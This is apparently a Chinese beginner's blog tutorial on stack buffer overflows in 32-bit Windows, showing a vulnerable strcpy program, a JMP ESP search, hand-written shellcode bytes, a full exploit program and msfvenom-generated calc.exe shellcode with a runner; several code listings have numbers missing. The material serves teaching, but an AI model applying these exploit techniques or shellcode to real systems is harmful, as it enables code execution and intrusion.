网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!
零基础带你走进缓冲区溢出,编写shellcode。
写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好。
注:如果有转载请注明出处!创作不易、谢谢合作。
0、环境搭建:
本次实验所用到的工具有:
x32dbg:一个基于qt开发的、开源调试器。
ghidra:美国NSA国家安全局用的反汇编静态分析工具。如果你对IDA熟悉也可以用IDA。(链接在国内无法访问,怎么访问你懂的。)
visual C++ 6.0:一个微软的编译器。用其他的C++编译器只要取消编译优化即可。
1、一个有漏洞的小程序:
在C语言里面的string标准库中,有这么一个著名的strcpy函数,这个strcpy函数的作用就是将字符串数组拷贝到指定的位置。
但是,再拷贝之前并没有对字符串的长度进行检测!!
如果这个字符串过长的话就会覆盖相邻的内存。造成缓冲区栈溢出!
我们的这个漏洞小程序如下所示:
#include "stdio.h"
#include "string.h"
char payload[] = "aaaaaaaa";
int main()
{
char buffer[];
strcpy(buffer, payload);
printf("%s",buffer);
getchar();
return ;
}
功能很简单,就是将payload中的字符串拷贝进buffer数组中,并打印出来。
注意此时buffer的大小为8.
运行结果如下。
程序完美运行,但是这个程序真的没问题吗?
我们接着往下看:
2、字符串长了!
代码如下所示:
#include "stdio.h"
#include "string.h"
char payload[] = "aaaaaaaaEBPX";
int main()
{
char buffer[];
strcpy(buffer, payload);
printf("%s",buffer);
getchar();
return ;
}
在这里我们加长了payload的长度,大家可以看到,程序还是完美的运行了,。
因为笔者的电脑是Win10系统,因此系统不会给你进行报错,而是智能的进行了异常处理。所以我们接下来进入调试环节!
首先我们用ghidra打开我们刚才写好的程序。
找到我们刚才定义函数在传递参数的时候如下:
不懂汇编没事。你只要看到push 一堆东西,+call 一个东西,那就是在调用函数!
看到了具体的调用位置,我们打开x32dbg 然后定位到该地址进行分析。
这里我们跳到call的位置,然后用F9执行到这里。
注意此时箭头所指的俩个位置
上面的所指的是父函数的EBP地址。
下面所指的就是函数要返回的地址。
这时我们让程序继续执行。
当我们单步执行过之后,我们会发现,这个程序因为缓冲区被冲破,所以父函数EBP被覆盖了,也就是造成了缓冲区溢出。
那么我们需要思考,是否可以把字符串加长,然后把返回地址给覆盖了呢?答案当然是可以的。
这样的话,程序就会执行我们的代码了!
但是如何把我们想执行的代码递给程序执行呢?
三、JMP_ESP方法编写shellcode
思路:我们需要寻找电脑中可利用的动态链接库中可以用的指令,这样的话,我们就可以执行我们想要的指令了。
但是这种指令不一定适合我们,如果没有对应的函数怎么办
这时候有个非常出名的方法,叫JMP_ESP,他会执行栈中的代码,也就是说我们只要把shellcode放在字符串内就行。
首先我们需要在电脑中寻找JMP_ESP函数!
代码如下:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h> int main()
{
BYTE *ptr;
int position;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary("user32.dll");
if(!handle)
{
printf("load dll error!");
exit();
}
ptr = (BYTE*)handle; for(position = ; !done_flag; position++)
{
try
{
if(ptr[position]==0xFF && ptr[position+]==0xE4)
{
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n", address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
return ;
}
运行结果如上,我们随便挑选一个地址即可使用。
因为我们需要可视化的效果,所以我们挑选一个弹出一个对话框的方法来使我们可视化。
弹窗地址寻找的代码如下:
#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("user32");
printf("user32 = 0x%x\n",LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
printf("MessageBoxA = 0x%x\n",ProcAdd);
getchar();
return ;
}
运行结果如下:
接下来我们要寻找能使程序正常退出的函数,代码如下:
#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("kernel32");
printf("kernel32 = 0x%x\n",LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"ExitProcess");
printf("ExitProcess = 0x%x\n",ProcAdd);
getchar();
return ;
}
运行结果如下:
四、使用x64dbg提取shellcode
笔者在这里挑选三个地址为:
jmp esp: 0x74a99be9 //JMP ESP 使EIP跳转到shellcode执行
msgbox: 0x74991f70 //shellcode执行弹出对话框
exitprocess:0x75cd4b80 //使程序正常退出
在这里我是用内联汇编的方法来编写shellcode
代码如下:
#include "windows.h"
int main(){
LoadLibrary("user32.dll"); //因为调用了user32中的函数,所以需要加载user32,之所以选择user32加载是因为几乎所有win32应用都会加载这个库。
_asm{ //内联汇编
sub esp,0x50 //为了使 shellcode 具有较强的通用性,我们通常会在 shellcode 一开始就大范围抬高栈顶,把 shellcode“藏”在栈内,从而达到保护自身安全的目的
xor ebx,ebx //将ebx清0
push ebx //ebx入栈
push 0x2020206f
push 0x6c6c6568 //push "hello" 字符串的ascii码当作标题 小端书写 push的时候不够的话用20填
mov eax,esp //将hello标题赋给eax
push ebx //ebx压栈 将俩个字符串断开
push 0x2020206f
push 0x6c6c6568 //push "hello" 字符串当作内容
mov ecx,esp //将内容赋给ecx push ebx //messagebox 的第4个参数
push eax //messagebox 的第3个参数
push ecx //messagebox的第2个参数
push ebx //messagebox的第1个参数 mov eax,0x74991f70 //msg
call eax //调用msg push ebx //向栈内压入0
mov eax,0x75cd4b80 //将exit函数地址赋给eax
call eax//调用exit函数
}
return ;
}
然后用x64dbg打开后结果如下:
提取后如下:
0040103C | 83EC | sub esp, |
0040103F | 33DB | xor ebx,ebx |
| | push ebx |
| 6F202020 | push 2020206F |
| 68656C6C | push 6C6C6568 |
0040104C | 8BC4 | mov eax,esp |
0040104E | | push ebx |
0040104F | 6F202020 | push 2020206F |
| 68656C6C | push 6C6C6568 |
| 8BCC | mov ecx,esp | ecx:EntryPoint
0040105B | | push ebx |
0040105C | | push eax |
0040105D | | push ecx | ecx:EntryPoint
0040105E | | push ebx |
0040105F | B8 701F9974 | mov eax,74991F70 |
| FFD0 | call eax |
| | push ebx |
| B8 804BCD75 | mov eax,<kernel32.ExitProcess> |
0040106C | FFD0 | call eax |
我们去掉乱八七糟的东西后,进行整理如下:
\x33\xDB
\x53
\x68\x6F\x20\x20\x20
\x68\x68\x65\x6C\x6C
\x8B\xC4
\x53
\x68\x6F\x20\x20\x20
\x68\x68\x65\x6C\x6C
\x8B\xCC
\x53
\x50
\x51
\x53
\xB8\x70\x1F\x99\x74
\xFF\xD0
\x53
\xB8\x80\x4B\xCD\x75
\xFF\xD0
然后我们加上引号
"\xe9\xe5\xa9\x74"
"\x33\xDB"
"\x53"
"\x68\x6F\x20\x20\x20"
"\x68\x68\x65\x6C\x6C"
"\x8B\xC4"
"\x53"
"\x68\x6F\x20\x20\x20"
"\x68\x68\x65\x6C\x6C"
"\x8B\xCC"
"\x53"
"\x50"
"\x51"
"\x53"
"\xB8\x70\x1F\x99\x74"
"\xFF\xD0"
"\x53"
"\xB8\x80\x4B\xCD\x75"
"\xFF\xD0"
OK!大功告成!
五、程序运行结果!
完整程序代码如下:
#include<stdio.h>
#include<windows.h>
char payload[]="aaaaaaaaebxx\xe9\xe5\xa9\x74\x33\xDB\x53\x68\x6F\x20\x20\x20\x68\x68\x65\x6C\x6C\x8B\xC4\x53\x68\x6F\x20\x20\x20\x68\x68\x65\x6C\x6C\x8B\xCC\x53\x50\x51\x53\xB8\x70\x1F\x99\x74\xFF\xD0\x53\xB8\x80\x4B\xCD\x75\xFF\xD0";
int main()
{
LoadLibrary("user32.dll");
char buffer[];
strcpy(buffer,payload);
printf("%s",buffer);
getchar();
return ;
}
执行后如下所示:
六、如何0基础几分钟学会编写shellcode?
使用msf即可。把这个代码记着就会了(笑)。
msfvenom -p windows/exec cmd=calc.exe -f c
体验下~:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main()
{
_asm{
lea eax,buf
push eax
ret
}
return ;
}
执行后如上所示。
PS:笔者在B站做了一次完整的视频!如下操作均可在https://www.bilibili.com/video/av48022107
这里看到!码字不易!希望大家能够喜欢!
网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!的更多相关文章
- 超详细“零”基础kafka入门篇
1.认识kafka 1.1 kafka简介 Kafka 是一个分布式流媒体平台 kafka官网:http://kafka.apache.org/ (1)流媒体平台有三个关键功能: 发布和订阅记录流,类 ...
- 项目17-超详细“零”基础kafka入门篇
分类: Linux服务篇,Linux架构篇 1.认识kafka 1.1 kafka简介 Kafka 是一个分布式流媒体平台 kafka官网:http://kafka.apache.org/ (1) ...
- SpringBoot + Vue + nginx项目部署(零基础带你部署)
一.环境.工具 jdk1.8 maven spring-boot idea VSVode vue 百度网盘(vue+springboot+nginx源码): 链接:https://pan.baidu. ...
- 零基础带你看Spring源码——IOC控制反转
本章开始来学习下Spring的源码,看看Spring框架最核心.最常用的功能是怎么实现的. 网上介绍Spring,说源码的文章,大多数都是生搬硬推,都是直接看来的观点换个描述就放出来.这并不能说有问题 ...
- 缓冲区溢出基础实践(一)——shellcode 与 ret2libc
最近结合软件安全课程上学习的理论知识和网络资料,对缓冲区溢出漏洞的简单原理和利用技巧进行了一定的了解.这里主要记录笔者通过简单的示例程序实现缓冲区溢出漏洞利用的步骤,按由简至繁的顺序,依次描述简单的 ...
- Android零基础入门第3节:带你一起来聊一聊Android开发环境
原文:Android零基础入门第3节:带你一起来聊一聊Android开发环境 工欲善其事,必先利其器.Android开发人员在自己的计算机上编写和测试应用程序,然后将其部署到实际的设备上,那首先必不可 ...
- Linux从入门到放弃、零基础入门Linux(第三篇):在虚拟机vmware中安装linux(二)超详细手把手教你安装centos6分步图解
一.继续在vmware中安装centos6.9 本次安装是进行最小化安装,即没有图形化界面的安装,如果是新手,建议安装带图形化界面的centos, 具体参考Linux从入门到放弃.零基础入门Linux ...
- 083 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 02 构造方法介绍 02 构造方法-带参构造方法
083 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 02 构造方法介绍 02 构造方法-带参构造方法 本文知识点:构造方法-带参构造方法 说明:因为时间紧张, ...
- 066 01 Android 零基础入门 01 Java基础语法 08 Java方法 02 带参有返回值方法
066 01 Android 零基础入门 01 Java基础语法 08 Java方法 04 带参有返回值方法 本文知识点:带参有返回值方法 说明:因为时间紧张,本人写博客过程中只是对知识点的关键步骤进 ...
随机推荐
- Linux下MongoDB的安装、配置、启动
下载 MongoDB下载地址为 https://www.mongodb.org/downloads 安装 将文件放到/usr/local/目录下并解压 tar -zxvf mongodb-linux- ...
- js中的跨域方法总结
什么是跨域? 浏览器的安全策略,只要协议,域名,端口有任何一个不同,就被当做不同的域. 下面对http://www.qichedaquan.com的同源检测 http://www.qichedaqua ...
- HDU - 4802 - GPA (水题)
题意: 计算GPA,输入一个数字和一个字符串,用 数字×字符串对应的数值 思路: 用map对应数值,要注意的是字符串为P或者N的时候,不计入结果 代码: #include<iostream> ...
- 删除链表的倒数第N个节点(三种方法实现)
删除链表的倒数第N个节点 给定一个链表,删除链表的倒数第 n 个节点,并且返回链表的头结点. 示例: 给定一个链表: 1->2->3->4->5, 和 n = 2. 当删除了倒 ...
- 简单的Redis数据迁移
dump迁移 1.安装redis-dump工具 sudo apt-get install ruby rubygems ruby-devel -y gem sources --add http://ge ...
- 使用dmidecode在Linux下获取硬件信息
dmidecode命令可以让你在Linux系统下获取有关硬件方面的信息.dmidecode的作用是将DMI数据库中的信息解码,以可读的文本方式显示.由于DMI信息可以人为修改,因此里面的信息不一定是系 ...
- 身为前端开发工程师,你需要了解的搜索引擎优化SEO.
网站url网站创建具有良好描述性.规范.简单的url,有利于用户更方便的记忆和判断网页的内容,也有利于搜索引擎更有效的抓取您的网站.网站设计之初,就应该有合理的url规划. 处理方式: 1.在系统中只 ...
- laravel中的路由
相信玩过laravel框架的小伙伴们,都知道它路由的强大之处 今天我想给大家分析下这个 首先 要找到配置路由的位置 routes这个目录下,我们找到web.php文件 里面可以看到现成的一个路由 Ro ...
- Redis原理及集群相关知识
读书笔记 <Redis开发与运维 > Redis使用场景 作为缓存层 减少对Mysql的压力 计数功能 比如使用原子命令incr 共享Session 设置过期时间 可以限制短信接口等调用 ...
- 【11】把 GitHub 当 CMS 用
把 GitHub 当 CMS 用 你的网站需要显示一些文字,但是你还不想直接放在 HTML 里面,那你可以把 GitHub 作为你储存内容的一个地方. 这样,就可以让任何一个非程序员通过修改 Mark ...